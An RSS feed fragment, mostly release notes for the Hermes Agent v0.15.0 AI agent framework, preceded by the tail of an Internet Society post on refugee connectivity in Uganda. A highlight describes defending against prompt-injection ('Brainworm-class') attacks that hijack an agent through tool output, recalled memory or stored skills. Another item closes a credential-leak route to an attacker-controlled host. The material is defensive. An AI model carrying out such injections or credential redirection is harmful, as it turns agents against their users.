<content:encoded><![CDATA[<p><img width="250" height="115" src="https://www.internetsociety.org/wp-content/uploads/2026/05/Rhino-Camp-250x115.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="People stand outdoors celebrating the completion of the Internet hub in the Siripi zone, waving at the camera." decoding="async" srcset="https://www.internetsociety.org/wp-content/uploads/2026/05/Rhino-Camp-250x115.jpg 250w, https://www.internetsociety.org/wp-content/uploads/2026/05/Rhino-Camp-450x206.jpg 450w, https://www.internetsociety.org/wp-content/uploads/2026/05/Rhino-Camp-1024x469.jpg 1024w, https://www.internetsociety.org/wp-content/uploads/2026/05/Rhino-Camp-768x352.jpg 768w, https://www.internetsociety.org/wp-content/uploads/2026/05/Rhino-Camp.jpg 1200w" sizes="(max-width: 250px) 100vw, 250px"></p>
<p>In Uganda's Rhino Camp Refugee Settlement, we worked with local partners to train refugees and members of the surrounding community to not just use the Internet, but to build and manage their own network. </p>
<p>The post <a href="https://www.internetsociety.org/blog/2026/05/from-email-to-case-study-what-we-learned-about-connecting-refugee-communities-in-just-one-year/">From Email to Case Study: What We Learned About Connecting Refugee Communities in Just One Year </a> appeared first on <a href="https://www.internetsociety.org/">Internet Society</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.15.0 (2026.5.28) — The Velocity Release]]></title>
<description><![CDATA[Hermes Agent v0.15.0 (v2026.5.28)
Release Date: May 28, 2026
Since v0.14.0: 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)

The Velocity Releas...]]></description>
<link>https://tsecurity.de/de/3555164/downloads/hermes-agent-v0150-2026528-the-velocity-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555164/downloads/hermes-agent-v0150-2026528-the-velocity-release/</guid>
<pubDate>Thu, 28 May 2026 20:01:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.15.0 (v2026.5.28)</h1>
<p><strong>Release Date:</strong> May 28, 2026<br>
<strong>Since v0.14.0:</strong> 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)</p>
<blockquote>
<p><strong>The Velocity Release.</strong> Hermes gets dramatically faster — to start, to run, to ship work, and to grow. The 16,083-line <code>run_agent.py</code> collapses to 3,821 (-76%) across 14 cohesive <code>agent/*</code> modules. Kanban grew into a real multi-agent platform across 104 PRs — orchestrator auto-decomposition, swarm topology, scheduled tasks, worktree-per-task, per-task model overrides. The cold-start perf wave keeps going: another second shaved off launch, 47% fewer per-conversation function calls, <code>hermes --version</code> flipping the head-to-head benchmark against Codex CLI. <code>session_search</code> is 4,500× faster and free now. Promptware defense lands against Brainworm-class attacks. Bitwarden Secrets Manager replaces N per-provider API keys with one bootstrap token. Skill bundles let one slash command load a whole workflow. The Ink TUI gets a multi-session orchestrator. Two new image_gen providers (Krea 2 Medium + Large, FAL ported to plugin), the Nous-approved MCP catalog with an interactive picker, an OpenHands orchestration skill, ntfy as the 23rd messaging platform, and a deep xAI integration round (Web Search plugin, xai-oauth <code>hermes proxy</code> upstream, retired-May-15 model detection + <code>hermes migrate xai</code>, natural TTS speech-tag pauses, base_url leak guard, OpenAI-style execution guidance for Grok). 15 P0 + 65 P1 closures alongside.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>The Big Refactor — <code>run_agent.py</code> is no longer 16,000 lines</strong> — The file at the heart of Hermes — the agent conversation loop — has been reduced from 16,083 lines to 3,821 (-76%), with the extracted code redistributed across 14 cohesive modules under <code>agent/</code>. Behavior is unchanged: every extraction keeps a thin forwarder on <code>AIAgent</code>, every test patch path still works, every external caller is compatible. The reason you care: future Hermes development moves faster, plugin authors can finally grep the codebase, and the file that took 90 seconds to load in your editor opens in a blink. (<a href="https://github.com/NousResearch/hermes-agent/pull/27248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27248/hovercard">#27248</a>)</p>
</li>
<li>
<p><strong>Kanban grew into a real multi-agent platform — 104 PRs end to end</strong> — Triage auto-decomposes one task into a tree of sub-tasks. <code>hermes kanban swarm</code> creates a full Swarm v1 graph in one command — root, parallel workers, gated verifier, gated synthesizer, shared blackboard. Tasks support per-task model overrides (cheap models for boilerplate, expensive ones for hard sub-tasks), board-level default workdirs, per-task worktree paths and branches, scheduled start times, configurable claim TTL, retry fingerprinting, stale-task detection, respawn guards, and a drag-to-delete trash zone. Workers report through <code>/workers/active</code>, <code>/runs/{id}</code>, and <code>/inspect</code> endpoints. (<a href="https://github.com/NousResearch/hermes-agent/pull/27572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27572/hovercard">#27572</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28443" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28443/hovercard">#28443</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28364/hovercard">#28364</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28394/hovercard">#28394</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28462" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28462/hovercard">#28462</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28384/hovercard">#28384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28467" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28467/hovercard">#28467</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28455/hovercard">#28455</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28452/hovercard">#28452</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28432/hovercard">#28432</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28468/hovercard">#28468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28420" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28420/hovercard">#28420</a>)</p>
</li>
<li>
<p><strong>Cold-start perf wave keeps going — another second saved, 47% fewer per-turn function calls</strong> — Three new optimization rounds: defer <code>openai._base_client</code> import (-240ms / -17MB on every CLI invocation), hot-path optimizations cut 47% of per-conversation function calls (399k → 213k for 31-turn chat), defer compression-feasibility check (-170 to -290ms on every agent construction), adaptive subprocess polling (-195ms per tool call, 1+ second per turn). Termux cold start drops from 2.9s to 0.8s. <code>hermes --version</code> cold drops 63% (701ms → 258ms), flipping the head-to-head benchmark against Codex CLI from 5/11 wins to 6/11. (<a href="https://github.com/NousResearch/hermes-agent/pull/28864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28864/hovercard">#28864</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28866/hovercard">#28866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28957/hovercard">#28957</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/29006" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29006/hovercard">#29006</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/29419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29419/hovercard">#29419</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30121/hovercard">#30121</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30609" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30609/hovercard">#30609</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31968/hovercard">#31968</a>)</p>
</li>
<li>
<p><strong><code>session_search</code> rebuilt — no LLM, no cost, 4,500× faster</strong> — The old <code>session_search</code> was an aux-LLM-powered tool that cost ~$0.30/call and took ~30 seconds to summarize three sessions, sometimes confabulating when the right session wasn't even in the FTS5 hit list. The new shape is one tool with three modes (discovery, scroll, browse) inferred from which args are set — no <code>mode</code> parameter, no aux-LLM, no config knob, no companion skill. Discovery is ~20ms instead of ~90s; scroll is ~1ms. Searching your past sessions for context is now free and instant. (<a href="https://github.com/NousResearch/hermes-agent/pull/27590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27590/hovercard">#27590</a>)</p>
</li>
<li>
<p><strong>Promptware defense — Brainworm-class attacks blocked at three chokepoints</strong> — Inspired by recent Brainworm / Promptware Kill Chain research (Origin HQ, arxiv 2601.09625), Hermes now defends the context window against prompt-injection attacks that try to hijack the agent via tool output, recalled memory, or stored skills. Single source of truth (<code>tools/threat_patterns.py</code>) with ~15 new Brainworm/C2 patterns; recalled memory is scanned at load time; tool results get delimiter markers so a malicious file or remote service can't impersonate Hermes' own system content. Paired with a new <code>security-guidance</code> plugin that pattern-matches dangerous code writes. (<a href="https://github.com/NousResearch/hermes-agent/pull/32269" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32269/hovercard">#32269</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33131/hovercard">#33131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/9151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/9151/hovercard">#9151</a>)</p>
</li>
<li>
<p><strong>Bitwarden Secrets Manager — one bootstrap token replaces every per-provider API key</strong> — Stop keeping plaintext API keys in <code>~/.hermes/.env</code>. Install Bitwarden Secrets Manager (<code>bws</code> auto-installs lazily on first use), point Hermes at it with one bootstrap token (<code>BWS_ACCESS_TOKEN</code>), and every credential you need comes from Bitwarden at startup. Rotate a key in the Bitwarden web app and the rotation actually takes effect — Bitwarden defaults to source-of-truth so its values overwrite matching env vars on startup. Flip <code>secrets.bitwarden.override_existing: false</code> to invert. EU Cloud and self-hosted Bitwarden server URLs supported. Detected credentials are now labeled with their source so you can see at a glance which keys came from Bitwarden vs. the local env. (<a href="https://github.com/NousResearch/hermes-agent/pull/30035" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30035/hovercard">#30035</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31378/hovercard">#31378</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30364/hovercard">#30364</a>)</p>
</li>
<li>
<p><strong>ntfy as the 23rd messaging platform — push notifications without an account</strong> — ntfy is the self-hostable push-notification service with no signup, no API key, just a topic URL. Hermes now adapts to it as a platform plugin (zero edits to core), so your agent can send you push notifications from any cron job, kanban task completion, or chat <code>send_message</code> — to your phone, your watch, your desktop, your homelab. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/30625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30625/hovercard">#30625</a> → originally <a href="https://github.com/NousResearch/hermes-agent/pull/4043" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/4043/hovercard">#4043</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30867/hovercard">#30867</a>)</p>
</li>
<li>
<p><strong>Skill bundles — <code>/&lt;name&gt;</code> loads multiple skills at once</strong> — A skill bundle is a named group of skills that loads them all together with one slash command. Set up your "writing day" bundle (humanizer + ideation + obsidian + youtube-content) and <code>/writing-day</code> activates all four for the session. Skills Hub now has health checks, a freshness badge, and a watchdog cron. Three new optional skills land: <code>code-wiki</code> (Karpathy's LLM-Wiki, persistent indexed dev wiki), <code>openhands</code> (delegate to OpenHands for parallel coding agents), and <code>web-pentest</code> (OWASP-style web pentest recipes). (<a href="https://github.com/NousResearch/hermes-agent/pull/28373" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28373/hovercard">#28373</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32345/hovercard">#32345</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32240/hovercard">#32240</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32261/hovercard">#32261</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32265/hovercard">#32265</a>)</p>
</li>
<li>
<p><strong>TUI session orchestrator — multiple live sessions in one TUI window</strong> — The Ink TUI gained an active-session switcher overlay. List, switch between, refresh, and close multiple live process-local sessions without leaving the TUI; dispatch a new session with a session-scoped model picker. Plus a wave of TUI polish — mouse-tracking DEC mode presets, scrollback preservation across branches and termux, slash-dropdown fixes, x.com link rendering, and CJK / IME input rendering improvements. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27642/hovercard">#27642</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32980" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32980/hovercard">#32980</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30084/hovercard">#30084</a>)</p>
</li>
<li>
<p><strong>Two new image_gen providers — Krea 2 Medium + Large, FAL ported to plugin</strong> — Krea joins the image_gen lineup as a built-in plugin: <code>Krea 2 Medium</code> ($0.03) and <code>Krea 2 Large</code> ($0.06), auto-discovered, selectable via <code>hermes tools</code> → Image Generation → Krea. Available through both the native Krea plugin and the FAL.ai catalog. The FAL.ai backend got pulled out of the monolithic image-generation tool into <code>plugins/image_gen/fal/</code>, completing the four-way architectural parity already established by web, browser, and video_gen — new image providers are now one file, not a fork. (<a href="https://github.com/NousResearch/hermes-agent/pull/33236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33236/hovercard">#33236</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30380" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30380/hovercard">#30380</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33506/hovercard">#33506</a>)</p>
</li>
<li>
<p><strong>Nous-approved MCP catalog with interactive picker</strong> — A curated catalog of Nous-vetted MCP servers, mirroring the optional-skills shape. Run <code>hermes mcp</code> and you get an interactive picker; install with one keystroke, credentials prompted at install time and written to <code>~/.hermes/.env</code>. Ships with the n8n manifest first. Closes the discovery gap that left users hunting GitHub for trusted MCP servers. (<a href="https://github.com/NousResearch/hermes-agent/pull/30870" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30870/hovercard">#30870</a>)</p>
</li>
<li>
<p><strong>OpenHands orchestration skill</strong> — A new optional skill under <code>optional-skills/autonomous-ai-agents/openhands/</code> lets the agent delegate coding tasks to the OpenHands CLI alongside <code>claude-code</code>, <code>codex</code>, and <code>opencode</code>. OpenHands is the model-agnostic member of that family — any LiteLLM-supported provider works (OpenAI, Anthropic, OpenRouter, your own), so you can route a sub-task to the cheapest model that can finish it. Drop-in worker for kanban swarms and <code>/delegate</code> flows. (closes <a href="https://github.com/NousResearch/hermes-agent/issues/477" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/477/hovercard">#477</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32261/hovercard">#32261</a>)</p>
</li>
<li>
<p><strong>Deep xAI integration round — Web Search plugin, OAuth proxy upstream, May 15 retirement detection, natural TTS, security hardening</strong> — Six interlocking xAI improvements:</p>
<ul>
<li><strong>xAI Web Search</strong> lands as a <code>plugins/web/xai/</code> provider, slots alongside Brave / Tavily / Exa / SearXNG / DDGS / Firecrawl — reuses your existing Grok OAuth or <code>XAI_API_KEY</code> credentials, no new env vars. (<a href="https://github.com/NousResearch/hermes-agent/pull/29042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29042/hovercard">#29042</a>)</li>
<li><strong><code>hermes proxy</code> gains an xAI upstream</strong> — your local OpenAI-compatible endpoint can now be backed by SuperGrok OAuth, no PKCE-refresh code to write in your client. (<a href="https://github.com/NousResearch/hermes-agent/pull/28356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28356/hovercard">#28356</a>)</li>
<li><strong>May 15 model retirement detection</strong> — <code>grok-4</code>, <code>grok-4-fast{,-reasoning,-non-reasoning}</code>, <code>grok-3</code>, <code>grok-code-fast-1</code>, <code>grok-imagine-image-pro</code> etc. are detected in doctor and chat startup, with <code>hermes migrate xai</code> to one-shot config migration to the supported model. No more silent 404s after the retirement date. (<a href="https://github.com/NousResearch/hermes-agent/pull/29277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29277/hovercard">#29277</a>)</li>
<li><strong>Opt-in <code>auto_speech_tags</code></strong> for xAI TTS — inserts light <code>[pause]</code> tags between paragraphs and sentences for more natural-sounding voice replies. Default OFF. (<a href="https://github.com/NousResearch/hermes-agent/pull/29376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29376/hovercard">#29376</a>)</li>
<li><strong><code>xai-oauth</code> <code>base_url</code> pinned to <code>x.ai</code> origin</strong> — closes a silent credential-leak vector where <code>XAI_BASE_URL</code> could repoint OAuth-authenticated inference to an attacker-controlled host. (<a href="https://github.com/NousResearch/hermes-agent/pull/28952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28952/hovercard">#28952</a>)</li>
<li><strong>OpenAI-style execution guidance applied to Grok models</strong> — Grok and xai-oauth now get the same family-specific execution discipline block GPT/Codex have, so the model stops claiming completion without tool calls and stops suggesting workarounds instead of using existing tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/27797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27797/hovercard">#27797</a>)</li>
<li>Plus <code>x_search</code> degraded-results surfacing, tier-gated 403 with API-key fallback, PKCE <code>code_challenge</code> round-trip fix, dead-token quarantine on terminal refresh failure, MiniMax-style short-token refresh on per-request, and <code>WKE=unauthenticated</code> honor at both classifier sites. (<a href="https://github.com/NousResearch/hermes-agent/pull/29484" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29484/hovercard">#29484</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28351" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28351/hovercard">#28351</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/27560" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27560/hovercard">#27560</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28116/hovercard">#28116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30619" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30619/hovercard">#30619</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30872/hovercard">#30872</a>)</li>
</ul>
</li>
</ul>
<hr>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>The Big Refactor — <code>run_agent.py</code> 16k → 3.8k</h3>
<ul>
<li><code>run_agent.py</code> from 16,083 → 3,821 lines (-76%), extracted into 14 cohesive <code>agent/*</code> modules. <code>run_conversation</code> alone was 3,877 lines before the refactor. Every extraction keeps a thin forwarder on <code>AIAgent</code>, every test-patch path is preserved, every external caller stays compatible. (<a href="https://github.com/NousResearch/hermes-agent/pull/27248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27248/hovercard">#27248</a>)</li>
</ul>
<h3>Agent loop &amp; conversation</h3>
<ul>
<li>Auxiliary task layered fallback (primary → chain → main agent → graceful fail) on capacity errors (402/429/connection). (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/26811" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26811/hovercard">#26811</a> + <a href="https://github.com/NousResearch/hermes-agent/pull/26998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26998/hovercard">#26998</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27625/hovercard">#27625</a>)</li>
<li>Buffer retry/fallback status; surface only on terminal failure (no more noisy "retrying..." spam in mid-run output). (<a href="https://github.com/NousResearch/hermes-agent/pull/33816" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33816/hovercard">#33816</a>)</li>
<li>Host contract for external context engines — condenses 5 prior PRs into one extension surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/33750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33750/hovercard">#33750</a>)</li>
<li>Fallback immediately on provider content-policy blocks. (<a href="https://github.com/NousResearch/hermes-agent/pull/33883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33883/hovercard">#33883</a>)</li>
<li>Re-pad <code>reasoning_content</code> on cross-provider fallback to require-side providers. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/33784" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33784/hovercard">#33784</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33795" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33795/hovercard">#33795</a>)</li>
<li>Per-turn tool-outcome verifier — patch tool gets indent preservation, CRLF preservation, per-file failure escalation. (<a href="https://github.com/NousResearch/hermes-agent/pull/32273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32273/hovercard">#32273</a>)</li>
<li>Single-knob native vision for custom-provider models. (<a href="https://github.com/NousResearch/hermes-agent/pull/29679" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29679/hovercard">#29679</a>)</li>
<li>Background review fork isolated from external memory plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/27190" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27190/hovercard">#27190</a>)</li>
<li>Background review inherits parent toolset config for <code>tools[]</code> cache parity. (<a href="https://github.com/NousResearch/hermes-agent/pull/29704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29704/hovercard">#29704</a>)</li>
<li>Recover from providers returning list-type tool content. (<a href="https://github.com/NousResearch/hermes-agent/pull/30259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30259/hovercard">#30259</a>)</li>
<li>Treat partial-stream stub responses as length truncation rather than clean stop. (<a href="https://github.com/NousResearch/hermes-agent/pull/30998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30998/hovercard">#30998</a>)</li>
<li>OpenAI execution guidance applied to xAI Grok / xai-oauth. (<a href="https://github.com/NousResearch/hermes-agent/pull/27797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27797/hovercard">#27797</a>)</li>
<li>ContextVars propagate to concurrent tool worker threads.</li>
<li>Preload <code>jiter</code> native parser. (<a href="https://github.com/NousResearch/hermes-agent/pull/33692" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33692/hovercard">#33692</a>)</li>
<li>Expose context engine tools with saved toolsets. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/31194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31194/hovercard">#31194</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33719" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33719/hovercard">#33719</a>)</li>
</ul>
<h3>Sessions &amp; memory</h3>
<ul>
<li><code>session_search</code> rebuilt — single-shape (discovery + scroll + browse), no aux-LLM, ~20ms vs. ~90s. (<a href="https://github.com/NousResearch/hermes-agent/pull/27590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27590/hovercard">#27590</a>)</li>
<li>Salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29182/hovercard">#29182</a> — opt-in JSON snapshot writer for sessions. (<a href="https://github.com/NousResearch/hermes-agent/pull/29278" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29278/hovercard">#29278</a>)</li>
<li>Persist <code>platform_message_id</code> for recall across gateway restarts. (<a href="https://github.com/NousResearch/hermes-agent/pull/29449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29449/hovercard">#29449</a>)</li>
<li>Inline memory-context mentions stay visible in conversation. (<a href="https://github.com/NousResearch/hermes-agent/pull/28132" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28132/hovercard">#28132</a>)</li>
<li>Recalled memory labeled informational, not authoritative. (<a href="https://github.com/NousResearch/hermes-agent/pull/28583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28583/hovercard">#28583</a>)</li>
<li>Memory + context-engine tool injection gated on <code>enabled_toolsets</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/30177" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30177/hovercard">#30177</a>)</li>
<li>Guard against external drift in <code>MEMORY.md</code> / <code>USER.md</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/30877" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30877/hovercard">#30877</a>)</li>
<li>Honcho runtime peer mapping — correctness follow-ups + setup wizard + docs. (<a href="https://github.com/NousResearch/hermes-agent/pull/30077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30077/hovercard">#30077</a>)</li>
<li>Periodic memory logging for leak detection. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/17667" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17667/hovercard">#17667</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27102/hovercard">#27102</a>)</li>
</ul>
<h3>Codex / Responses-API maturation</h3>
<ul>
<li>TTFB watchdog for stalled Codex Responses streams. (<a href="https://github.com/NousResearch/hermes-agent/pull/32042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32042/hovercard">#32042</a>)</li>
<li>Actionable hint when stale-call detector fires on known silent-reject pattern. (<a href="https://github.com/NousResearch/hermes-agent/pull/32016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32016/hovercard">#32016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33133/hovercard">#33133</a>)</li>
<li>Drop SDK <code>responses.stream()</code> helper; consume events directly. (<a href="https://github.com/NousResearch/hermes-agent/pull/33042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33042/hovercard">#33042</a>)</li>
<li>Gracefully recover from <code>invalid_encrypted_content</code>. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/10144" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10144/hovercard">#10144</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33035" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33035/hovercard">#33035</a>)</li>
<li>Recover Codex Responses streams with null output. (<a href="https://github.com/NousResearch/hermes-agent/pull/32963" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32963/hovercard">#32963</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33390" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33390/hovercard">#33390</a>)</li>
